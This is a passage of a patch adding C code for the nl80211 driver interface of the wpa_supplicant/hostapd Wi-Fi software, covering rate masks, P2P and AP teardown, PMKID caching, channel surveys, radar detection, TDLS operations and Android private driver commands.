return -1; + wpa_printf(MSG_DEBUG, "nl80211: Enable Probe Request " + "reporting nl_preq=%p", bss->nl_preq); + + if (nl80211_register_frame(bss, bss->nl_preq, + (WLAN_FC_TYPE_MGMT << 2) | + (WLAN_FC_STYPE_PROBE_REQ << 4), + NULL, 0) < 0) + goto out_err; + + nl80211_register_eloop_read(&bss->nl_preq, + wpa_driver_nl80211_event_receive, + bss->nl_cb); + + return 0; + + out_err: + nl_destroy_handles(&bss->nl_preq); + return -1; +} + + +static int nl80211_disable_11b_rates(struct wpa_driver_nl80211_data *drv, + int ifindex, int disabled) +{ + struct nl_msg *msg; + struct nlattr *bands, *band; + int ret; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_TX_BITRATE_MASK); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, ifindex); + + bands = nla_nest_start(msg, NL80211_ATTR_TX_RATES); + if (!bands) + goto nla_put_failure; + + /* + * Disable 2 GHz rates 1, 2, 5.5, 11 Mbps by masking out everything + * else apart from 6, 9, 12, 18, 24, 36, 48, 54 Mbps from non-MCS + * rates. All 5 GHz rates are left enabled. + */ + band = nla_nest_start(msg, NL80211_BAND_2GHZ); + if (!band) + goto nla_put_failure; + if (disabled) { + NLA_PUT(msg, NL80211_TXRATE_LEGACY, 8, + "\x0c\x12\x18\x24\x30\x48\x60\x6c"); + } + nla_nest_end(msg, band); + + nla_nest_end(msg, bands); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Set TX rates failed: ret=%d " + "(%s)", ret, strerror(-ret)); + } else + drv->disabled_11b_rates = disabled; + + return ret; + +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static int wpa_driver_nl80211_deinit_ap(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!is_ap_interface(drv->nlmode)) + return -1; + wpa_driver_nl80211_del_beacon(drv); + + /* + * If the P2P GO interface was dynamically added, then it is + * possible that the interface change to station is not possible. + */ + if (drv->nlmode == NL80211_IFTYPE_P2P_GO && bss->if_dynamic) + return 0; + + return wpa_driver_nl80211_set_mode(priv, NL80211_IFTYPE_STATION); +} + + +static int wpa_driver_nl80211_stop_ap(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!is_ap_interface(drv->nlmode)) + return -1; + wpa_driver_nl80211_del_beacon(drv); + bss->beacon_set = 0; + return 0; +} + + +static int wpa_driver_nl80211_deinit_p2p_cli(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (drv->nlmode != NL80211_IFTYPE_P2P_CLIENT) + return -1; + + /* + * If the P2P Client interface was dynamically added, then it is + * possible that the interface change to station is not possible. + */ + if (bss->if_dynamic) + return 0; + + return wpa_driver_nl80211_set_mode(priv, NL80211_IFTYPE_STATION); +} + + +static void wpa_driver_nl80211_resume(void *priv) +{ + struct i802_bss *bss = priv; + + if (i802_set_iface_flags(bss, 1)) + wpa_printf(MSG_DEBUG, "nl80211: Failed to set interface up on resume event"); +} + + +static int nl80211_send_ft_action(void *priv, u8 action, const u8 *target_ap, + const u8 *ies, size_t ies_len) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret; + u8 *data, *pos; + size_t data_len; + const u8 *own_addr = bss->addr; + + if (action != 1) { + wpa_printf(MSG_ERROR, "nl80211: Unsupported send_ft_action " + "action %d", action); + return -1; + } + + /* + * Action frame payload: + * Category[1] = 6 (Fast BSS Transition) + * Action[1] = 1 (Fast BSS Transition Request) + * STA Address + * Target AP Address + * FT IEs + */ + + data_len = 2 + 2 * ETH_ALEN + ies_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + pos = data; + *pos++ = 0x06; /* FT Action category */ + *pos++ = action; + os_memcpy(pos, own_addr, ETH_ALEN); + pos += ETH_ALEN; + os_memcpy(pos, target_ap, ETH_ALEN); + pos += ETH_ALEN; + os_memcpy(pos, ies, ies_len); + + ret = wpa_driver_nl80211_send_action(bss, drv->assoc_freq, 0, + drv->bssid, own_addr, drv->bssid, + data, data_len, 0); + os_free(data); + + return ret; +} + + +static int nl80211_signal_monitor(void *priv, int threshold, int hysteresis) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nlattr *cqm; + int ret = -1; + + wpa_printf(MSG_DEBUG, "nl80211: Signal monitor threshold=%d " + "hysteresis=%d", threshold, hysteresis); + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_CQM); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + + cqm = nla_nest_start(msg, NL80211_ATTR_CQM); + if (cqm == NULL) + goto nla_put_failure; + + NLA_PUT_U32(msg, NL80211_ATTR_CQM_RSSI_THOLD, threshold); + NLA_PUT_U32(msg, NL80211_ATTR_CQM_RSSI_HYST, hysteresis); + nla_nest_end(msg, cqm); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +/* Converts nl80211_chan_width to a common format */ +static enum chan_width convert2width(int width) +{ + switch (width) { + case NL80211_CHAN_WIDTH_20_NOHT: + return CHAN_WIDTH_20_NOHT; + case NL80211_CHAN_WIDTH_20: + return CHAN_WIDTH_20; + case NL80211_CHAN_WIDTH_40: + return CHAN_WIDTH_40; + case NL80211_CHAN_WIDTH_80: + return CHAN_WIDTH_80; + case NL80211_CHAN_WIDTH_80P80: + return CHAN_WIDTH_80P80; + case NL80211_CHAN_WIDTH_160: + return CHAN_WIDTH_160; + } + return CHAN_WIDTH_UNKNOWN; +} + + +static int get_channel_width(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct wpa_signal_info *sig_change = arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + sig_change->center_frq1 = -1; + sig_change->center_frq2 = -1; + sig_change->chanwidth = CHAN_WIDTH_UNKNOWN; + + if (tb[NL80211_ATTR_CHANNEL_WIDTH]) { + sig_change->chanwidth = convert2width( + nla_get_u32(tb[NL80211_ATTR_CHANNEL_WIDTH])); + if (tb[NL80211_ATTR_CENTER_FREQ1]) + sig_change->center_frq1 = + nla_get_u32(tb[NL80211_ATTR_CENTER_FREQ1]); + if (tb[NL80211_ATTR_CENTER_FREQ2]) + sig_change->center_frq2 = + nla_get_u32(tb[NL80211_ATTR_CENTER_FREQ2]); + } + + return NL_SKIP; +} + + +static int nl80211_get_channel_width(struct wpa_driver_nl80211_data *drv, + struct wpa_signal_info *sig) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_INTERFACE); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + return send_and_recv_msgs(drv, msg, get_channel_width, sig); + +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl80211_signal_poll(void *priv, struct wpa_signal_info *si) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int res; + + os_memset(si, 0, sizeof(*si)); + res = nl80211_get_link_signal(drv, si); + if (res != 0) + return res; + + res = nl80211_get_channel_width(drv, si); + if (res != 0) + return res; + + return nl80211_get_link_noise(drv, si); +} + + +static int wpa_driver_nl80211_shared_freq(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct wpa_driver_nl80211_data *driver; + int freq = 0; + + /* + * If the same PHY is in connected state with some other interface, + * then retrieve the assoc freq. + */ + wpa_printf(MSG_DEBUG, "nl80211: Get shared freq for PHY %s", + drv->phyname); + + dl_list_for_each(driver, &drv->global->interfaces, + struct wpa_driver_nl80211_data, list) { + if (drv == driver || + os_strcmp(drv->phyname, driver->phyname) != 0 || + !driver->associated) + continue; + + wpa_printf(MSG_DEBUG, "nl80211: Found a match for PHY %s - %s " + MACSTR, + driver->phyname, driver->first_bss->ifname, + MAC2STR(driver->first_bss->addr)); + if (is_ap_interface(driver->nlmode)) + freq = driver->first_bss->freq; + else + freq = nl80211_get_assoc_freq(driver); + wpa_printf(MSG_DEBUG, "nl80211: Shared freq for PHY %s: %d", + drv->phyname, freq); + } + + if (!freq) + wpa_printf(MSG_DEBUG, "nl80211: No shared interface for " + "PHY (%s) in associated state", drv->phyname); + + return freq; +} + + +static int nl80211_send_frame(void *priv, const u8 *data, size_t data_len, + int encrypt) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_send_frame(bss, data, data_len, encrypt, 0, + 0, 0, 0, 0); +} + + +static int nl80211_set_param(void *priv, const char *param) +{ + wpa_printf(MSG_DEBUG, "nl80211: driver param='%s'", param); + if (param == NULL) + return 0; + +#ifdef CONFIG_P2P + if (os_strstr(param, "use_p2p_group_interface=1")) { + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + + wpa_printf(MSG_DEBUG, "nl80211: Use separate P2P group " + "interface"); + drv->capa.flags |= WPA_DRIVER_FLAGS_P2P_CONCURRENT; + drv->capa.flags |= WPA_DRIVER_FLAGS_P2P_MGMT_AND_NON_P2P; + } + + if (os_strstr(param, "p2p_device=1")) { + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + drv->allow_p2p_device = 1; + } +#endif /* CONFIG_P2P */ + + return 0; +} + + +static void * nl80211_global_init(void) +{ + struct nl80211_global *global; + struct netlink_config *cfg; + + global = os_zalloc(sizeof(*global)); + if (global == NULL) + return NULL; + global->ioctl_sock = -1; + dl_list_init(&global->interfaces); + global->if_add_ifindex = -1; + + cfg = os_zalloc(sizeof(*cfg)); + if (cfg == NULL) + goto err; + + cfg->ctx = global; + cfg->newlink_cb = wpa_driver_nl80211_event_rtm_newlink; + cfg->dellink_cb = wpa_driver_nl80211_event_rtm_dellink; + global->netlink = netlink_init(cfg); + if (global->netlink == NULL) { + os_free(cfg); + goto err; + } + + if (wpa_driver_nl80211_init_nl_global(global) < 0) + goto err; + + global->ioctl_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (global->ioctl_sock < 0) { + wpa_printf(MSG_ERROR, "nl80211: socket(PF_INET,SOCK_DGRAM) failed: %s", + strerror(errno)); + goto err; + } + + return global; + +err: + nl80211_global_deinit(global); + return NULL; +} + + +static void nl80211_global_deinit(void *priv) +{ + struct nl80211_global *global = priv; + if (global == NULL) + return; + if (!dl_list_empty(&global->interfaces)) { + wpa_printf(MSG_ERROR, "nl80211: %u interface(s) remain at " + "nl80211_global_deinit", + dl_list_len(&global->interfaces)); + } + + if (global->netlink) + netlink_deinit(global->netlink); + + nl_destroy_handles(&global->nl); + + if (global->nl_event) + nl80211_destroy_eloop_handle(&global->nl_event); + + nl_cb_put(global->nl_cb); + + if (global->ioctl_sock >= 0) + close(global->ioctl_sock); + + os_free(global); +} + + +static const char * nl80211_get_radio_name(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + return drv->phyname; +} + + +static int nl80211_pmkid(struct i802_bss *bss, int cmd, const u8 *bssid, + const u8 *pmkid) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(bss->drv, msg, 0, cmd); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(bss->ifname)); + if (pmkid) + NLA_PUT(msg, NL80211_ATTR_PMKID, 16, pmkid); + if (bssid) + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, bssid); + + return send_and_recv_msgs(bss->drv, msg, NULL, NULL); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl80211_add_pmkid(void *priv, const u8 *bssid, const u8 *pmkid) +{ + struct i802_bss *bss = priv; + wpa_printf(MSG_DEBUG, "nl80211: Add PMKID for " MACSTR, MAC2STR(bssid)); + return nl80211_pmkid(bss, NL80211_CMD_SET_PMKSA, bssid, pmkid); +} + + +static int nl80211_remove_pmkid(void *priv, const u8 *bssid, const u8 *pmkid) +{ + struct i802_bss *bss = priv; + wpa_printf(MSG_DEBUG, "nl80211: Delete PMKID for " MACSTR, + MAC2STR(bssid)); + return nl80211_pmkid(bss, NL80211_CMD_DEL_PMKSA, bssid, pmkid); +} + + +static int nl80211_flush_pmkid(void *priv) +{ + struct i802_bss *bss = priv; + wpa_printf(MSG_DEBUG, "nl80211: Flush PMKIDs"); + return nl80211_pmkid(bss, NL80211_CMD_FLUSH_PMKSA, NULL, NULL); +} + + +static void clean_survey_results(struct survey_results *survey_results) +{ + struct freq_survey *survey, *tmp; + + if (dl_list_empty(&survey_results->survey_list)) + return; + + dl_list_for_each_safe(survey, tmp, &survey_results->survey_list, + struct freq_survey, list) { + dl_list_del(&survey->list); + os_free(survey); + } +} + + +static void add_survey(struct nlattr **sinfo, u32 ifidx, + struct dl_list *survey_list) +{ + struct freq_survey *survey; + + survey = os_zalloc(sizeof(struct freq_survey)); + if (!survey) + return; + + survey->ifidx = ifidx; + survey->freq = nla_get_u32(sinfo[NL80211_SURVEY_INFO_FREQUENCY]); + survey->filled = 0; + + if (sinfo[NL80211_SURVEY_INFO_NOISE]) { + survey->nf = (int8_t) + nla_get_u8(sinfo[NL80211_SURVEY_INFO_NOISE]); + survey->filled |= SURVEY_HAS_NF; + } + + if (sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME]) { + survey->channel_time = + nla_get_u64(sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME]); + survey->filled |= SURVEY_HAS_CHAN_TIME; + } + + if (sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY]) { + survey->channel_time_busy = + nla_get_u64(sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY]); + survey->filled |= SURVEY_HAS_CHAN_TIME_BUSY; + } + + if (sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_RX]) { + survey->channel_time_rx = + nla_get_u64(sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_RX]); + survey->filled |= SURVEY_HAS_CHAN_TIME_RX; + } + + if (sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_TX]) { + survey->channel_time_tx = + nla_get_u64(sinfo[NL80211_SURVEY_INFO_CHANNEL_TIME_TX]); + survey->filled |= SURVEY_HAS_CHAN_TIME_TX; + } + + wpa_printf(MSG_DEBUG, "nl80211: Freq survey dump event (freq=%d MHz noise=%d channel_time=%ld busy_time=%ld tx_time=%ld rx_time=%ld filled=%04x)", + survey->freq, + survey->nf, + (unsigned long int) survey->channel_time, + (unsigned long int) survey->channel_time_busy, + (unsigned long int) survey->channel_time_tx, + (unsigned long int) survey->channel_time_rx, + survey->filled); + + dl_list_add_tail(survey_list, &survey->list); +} + + +static int check_survey_ok(struct nlattr **sinfo, u32 surveyed_freq, + unsigned int freq_filter) +{ + if (!freq_filter) + return 1; + + return freq_filter == surveyed_freq; +} + + +static int survey_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *sinfo[NL80211_SURVEY_INFO_MAX + 1]; + struct survey_results *survey_results; + u32 surveyed_freq = 0; + u32 ifidx; + + static struct nla_policy survey_policy[NL80211_SURVEY_INFO_MAX + 1] = { + [NL80211_SURVEY_INFO_FREQUENCY] = { .type = NLA_U32 }, + [NL80211_SURVEY_INFO_NOISE] = { .type = NLA_U8 }, + }; + + survey_results = (struct survey_results *) arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + ifidx = nla_get_u32(tb[NL80211_ATTR_IFINDEX]); + + if (!tb[NL80211_ATTR_SURVEY_INFO]) + return NL_SKIP; + + if (nla_parse_nested(sinfo, NL80211_SURVEY_INFO_MAX, + tb[NL80211_ATTR_SURVEY_INFO], + survey_policy)) + return NL_SKIP; + + if (!sinfo[NL80211_SURVEY_INFO_FREQUENCY]) { + wpa_printf(MSG_ERROR, "nl80211: Invalid survey data"); + return NL_SKIP; + } + + surveyed_freq = nla_get_u32(sinfo[NL80211_SURVEY_INFO_FREQUENCY]); + + if (!check_survey_ok(sinfo, surveyed_freq, + survey_results->freq_filter)) + return NL_SKIP; + + if (survey_results->freq_filter && + survey_results->freq_filter != surveyed_freq) { + wpa_printf(MSG_EXCESSIVE, "nl80211: Ignoring survey data for freq %d MHz", + surveyed_freq); + return NL_SKIP; + } + + add_survey(sinfo, ifidx, &survey_results->survey_list); + + return NL_SKIP; +} + + +static int wpa_driver_nl80211_get_survey(void *priv, unsigned int freq) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int err = -ENOBUFS; + union wpa_event_data data; + struct survey_results *survey_results; + + os_memset(&data, 0, sizeof(data)); + survey_results = &data.survey_results; + + dl_list_init(&survey_results->survey_list); + + msg = nlmsg_alloc(); + if (!msg) + goto nla_put_failure; + + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_SURVEY); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + if (freq) + data.survey_results.freq_filter = freq; + + do { + wpa_printf(MSG_DEBUG, "nl80211: Fetch survey data"); + err = send_and_recv_msgs(drv, msg, survey_handler, + survey_results); + } while (err > 0); + + if (err) { + wpa_printf(MSG_ERROR, "nl80211: Failed to process survey data"); + goto out_clean; + } + + wpa_supplicant_event(drv->ctx, EVENT_SURVEY, &data); + +out_clean: + clean_survey_results(survey_results); +nla_put_failure: + return err; +} + + +static void nl80211_set_rekey_info(void *priv, const u8 *kek, const u8 *kck, + const u8 *replay_ctr) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nlattr *replay_nested; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_REKEY_OFFLOAD); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + + replay_nested = nla_nest_start(msg, NL80211_ATTR_REKEY_DATA); + if (!replay_nested) + goto nla_put_failure; + + NLA_PUT(msg, NL80211_REKEY_DATA_KEK, NL80211_KEK_LEN, kek); + NLA_PUT(msg, NL80211_REKEY_DATA_KCK, NL80211_KCK_LEN, kck); + NLA_PUT(msg, NL80211_REKEY_DATA_REPLAY_CTR, NL80211_REPLAY_CTR_LEN, + replay_ctr); + + nla_nest_end(msg, replay_nested); + + send_and_recv_msgs(drv, msg, NULL, NULL); + return; + nla_put_failure: + nlmsg_free(msg); +} + + +static void nl80211_send_null_frame(struct i802_bss *bss, const u8 *own_addr, + const u8 *addr, int qos) +{ + /* send data frame to poll STA and check whether + * this frame is ACKed */ + struct { + struct ieee80211_hdr hdr; + u16 qos_ctl; + } STRUCT_PACKED nulldata; + size_t size; + + /* Send data frame to poll STA and check whether this frame is ACKed */ + + os_memset(&nulldata, 0, sizeof(nulldata)); + + if (qos) { + nulldata.hdr.frame_control = + IEEE80211_FC(WLAN_FC_TYPE_DATA, + WLAN_FC_STYPE_QOS_NULL); + size = sizeof(nulldata); + } else { + nulldata.hdr.frame_control = + IEEE80211_FC(WLAN_FC_TYPE_DATA, + WLAN_FC_STYPE_NULLFUNC); + size = sizeof(struct ieee80211_hdr); + } + + nulldata.hdr.frame_control |= host_to_le16(WLAN_FC_FROMDS); + os_memcpy(nulldata.hdr.IEEE80211_DA_FROMDS, addr, ETH_ALEN); + os_memcpy(nulldata.hdr.IEEE80211_BSSID_FROMDS, own_addr, ETH_ALEN); + os_memcpy(nulldata.hdr.IEEE80211_SA_FROMDS, own_addr, ETH_ALEN); + + if (wpa_driver_nl80211_send_mlme(bss, (u8 *) &nulldata, size, 0, 0, 0, + 0, 0) < 0) + wpa_printf(MSG_DEBUG, "nl80211_send_null_frame: Failed to " + "send poll frame"); +} + +static void nl80211_poll_client(void *priv, const u8 *own_addr, const u8 *addr, + int qos) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + + if (!drv->poll_command_supported) { + nl80211_send_null_frame(bss, own_addr, addr, qos); + return; + } + + msg = nlmsg_alloc(); + if (!msg) + return; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_PROBE_CLIENT); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + + send_and_recv_msgs(drv, msg, NULL, NULL); + return; + nla_put_failure: + nlmsg_free(msg); +} + + +static int nl80211_set_power_save(struct i802_bss *bss, int enabled) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(bss->drv, msg, 0, NL80211_CMD_SET_POWER_SAVE); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_PS_STATE, + enabled ? NL80211_PS_ENABLED : NL80211_PS_DISABLED); + return send_and_recv_msgs(bss->drv, msg, NULL, NULL); +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl80211_set_p2p_powersave(void *priv, int legacy_ps, int opp_ps, + int ctwindow) +{ + struct i802_bss *bss = priv; + + wpa_printf(MSG_DEBUG, "nl80211: set_p2p_powersave (legacy_ps=%d " + "opp_ps=%d ctwindow=%d)", legacy_ps, opp_ps, ctwindow); + + if (opp_ps != -1 || ctwindow != -1) { +#ifdef ANDROID_P2P + wpa_driver_set_p2p_ps(priv, legacy_ps, opp_ps, ctwindow); +#else /* ANDROID_P2P */ + return -1; /* Not yet supported */ +#endif /* ANDROID_P2P */ + } + + if (legacy_ps == -1) + return 0; + if (legacy_ps != 0 && legacy_ps != 1) + return -1; /* Not yet supported */ + + return nl80211_set_power_save(bss, legacy_ps); +} + + +static int nl80211_start_radar_detection(void *priv, + struct hostapd_freq_params *freq) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + wpa_printf(MSG_DEBUG, "nl80211: Start radar detection (CAC) %d MHz (ht_enabled=%d, vht_enabled=%d, bandwidth=%d MHz, cf1=%d MHz, cf2=%d MHz)", + freq->freq, freq->ht_enabled, freq->vht_enabled, + freq->bandwidth, freq->center_freq1, freq->center_freq2); + + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_RADAR)) { + wpa_printf(MSG_DEBUG, "nl80211: Driver does not support radar " + "detection"); + return -1; + } + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(bss->drv, msg, 0, NL80211_CMD_RADAR_DETECT); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq->freq); + + if (freq->vht_enabled) { + switch (freq->bandwidth) { + case 20: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_20); + break; + case 40: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_40); + break; + case 80: + if (freq->center_freq2) + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_80P80); + else + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_80); + break; + case 160: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_160); + break; + default: + return -1; + } + NLA_PUT_U32(msg, NL80211_ATTR_CENTER_FREQ1, freq->center_freq1); + if (freq->center_freq2) + NLA_PUT_U32(msg, NL80211_ATTR_CENTER_FREQ2, + freq->center_freq2); + } else if (freq->ht_enabled) { + switch (freq->sec_channel_offset) { + case -1: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT40MINUS); + break; + case 1: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT40PLUS); + break; + default: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT20); + break; + } + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + if (ret == 0) + return 0; + wpa_printf(MSG_DEBUG, "nl80211: Failed to start radar detection: " + "%d (%s)", ret, strerror(-ret)); +nla_put_failure: + return -1; +} + +#ifdef CONFIG_TDLS + +static int nl80211_send_tdls_mgmt(void *priv, const u8 *dst, u8 action_code, + u8 dialog_token, u16 status_code, + const u8 *buf, size_t len) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_TDLS_SUPPORT)) + return -EOPNOTSUPP; + + if (!dst) + return -EINVAL; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_TDLS_MGMT); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, dst); + NLA_PUT_U8(msg, NL80211_ATTR_TDLS_ACTION, action_code); + NLA_PUT_U8(msg, NL80211_ATTR_TDLS_DIALOG_TOKEN, dialog_token); + NLA_PUT_U16(msg, NL80211_ATTR_STATUS_CODE, status_code); + NLA_PUT(msg, NL80211_ATTR_IE, len, buf); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl80211_tdls_oper(void *priv, enum tdls_oper oper, const u8 *peer) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + enum nl80211_tdls_operation nl80211_oper; + + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_TDLS_SUPPORT)) + return -EOPNOTSUPP; + + switch (oper) { + case TDLS_DISCOVERY_REQ: + nl80211_oper = NL80211_TDLS_DISCOVERY_REQ; + break; + case TDLS_SETUP: + nl80211_oper = NL80211_TDLS_SETUP; + break; + case TDLS_TEARDOWN: + nl80211_oper = NL80211_TDLS_TEARDOWN; + break; + case TDLS_ENABLE_LINK: + nl80211_oper = NL80211_TDLS_ENABLE_LINK; + break; + case TDLS_DISABLE_LINK: + nl80211_oper = NL80211_TDLS_DISABLE_LINK; + break; + case TDLS_ENABLE: + return 0; + case TDLS_DISABLE: + return 0; + default: + return -EINVAL; + } + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_TDLS_OPER); + NLA_PUT_U8(msg, NL80211_ATTR_TDLS_OPERATION, nl80211_oper); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, peer); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + +#endif /* CONFIG TDLS */ + + +#ifdef ANDROID + +typedef struct android_wifi_priv_cmd { + char *buf; + int used_len; + int total_len; +} android_wifi_priv_cmd; + +static int drv_errors = 0; + +static void wpa_driver_send_hang_msg(struct wpa_driver_nl80211_data *drv) +{ + drv_errors++; + if (drv_errors > DRV_NUMBER_SEQUENTIAL_ERRORS) { + drv_errors = 0; + wpa_msg(drv->ctx, MSG_INFO, WPA_EVENT_DRIVER_STATE "HANGED"); + } +} + + +static int android_priv_cmd(struct i802_bss *bss, const char *cmd) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ifreq ifr; + android_wifi_priv_cmd priv_cmd; + char buf[MAX_DRV_CMD_SIZE]; + int ret; + + os_memset(&ifr, 0, sizeof(ifr)); + os_memset(&priv_cmd, 0, sizeof(priv_cmd)); + os_strlcpy(ifr.ifr_name, bss->ifname, IFNAMSIZ); + + os_memset(buf, 0, sizeof(buf)); + os_strlcpy(buf, cmd, sizeof(buf)); + + priv_cmd.buf = buf; + priv_cmd.used_len = sizeof(buf); + priv_cmd.total_len = sizeof(buf); + ifr.ifr_data = &priv_cmd; + + ret = ioctl(drv->global->ioctl_sock, SIOCDEVPRIVATE + 1, &ifr); + if (ret < 0) { + wpa_printf(MSG_ERROR, "%s: failed to issue private commands", + __func__); + wpa_driver_send_hang_msg(drv); + return ret; + } + + drv_errors = 0; + return 0; +} + + +static int android_pno_start(struct i802_bss *bss, + struct wpa_driver_scan_params *params) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ifreq ifr; + android_wifi_priv_cmd priv_cmd; + int ret = 0, i = 0, bp; + char buf[WEXT_PNO_MAX_COMMAND_SIZE]; + + bp = WEXT_PNOSETUP_HEADER_SIZE; + os_memcpy(buf, WEXT_PNOSETUP_HEADER, bp); + buf[bp++] = WEXT_PNO_TLV_PREFIX; + buf[bp++] = WEXT_PNO_TLV_VERSION; + buf[bp++] = WEXT_PNO_TLV_SUBVERSION; + buf[bp++] = WEXT_PNO_TLV_RESERVED; + + while (i < WEXT_PNO_AMOUNT && (size_t) i < params->num_ssids) { + /* Check that there is enough 